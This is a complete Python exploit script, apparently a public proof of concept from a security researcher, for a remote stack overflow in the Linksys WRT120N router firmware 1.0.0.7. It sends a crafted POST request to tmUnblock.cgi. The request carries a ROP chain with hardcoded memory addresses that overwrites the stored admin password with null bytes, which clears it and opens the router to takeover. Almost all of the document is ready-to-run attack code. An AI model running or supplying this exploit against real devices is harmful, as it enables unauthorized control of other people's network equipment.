WRT120N 1.0.0.7 – Remote Stack Overflow
#!/usr/bin/env python # # WRT120N v1.0.0.7 stack overflow, ROP to 4-byte overwrite which clears the admin password. # # Craig Heffner # http://www.devttys0.com # 2014-02-14 import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass |